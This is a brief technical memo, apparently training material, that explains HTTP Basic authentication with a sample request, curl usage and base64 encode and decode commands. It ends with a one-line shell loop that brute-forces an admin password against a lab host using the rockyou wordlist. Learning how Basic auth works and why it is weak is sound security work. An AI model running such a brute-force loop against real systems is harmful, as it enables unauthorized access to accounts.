HTTP has basic authentication feature, based on a field containing a username and a password in clear text.
login:password is base64 encoded then added in the request header.
Authorization: Basic bG9naW46cGFzc3dvcmQ=
Exemple:
GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*
Basic auth with curl:
$ curl -u login:password http://localhost:8001/hello.txt
Base64 encode login:password in shell
$ printf 'login:password' | base64
bG9naW46cGFzc3dvcmQ=
Base64 decode
$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d
login:password
Bruteforce Basic auth with curl and rockyou password list:
for i in `cat rockyou.txt`; do printf \n$i:; curl -u admin:$i http://12.10.1.11/training-http-auth-simple.php; done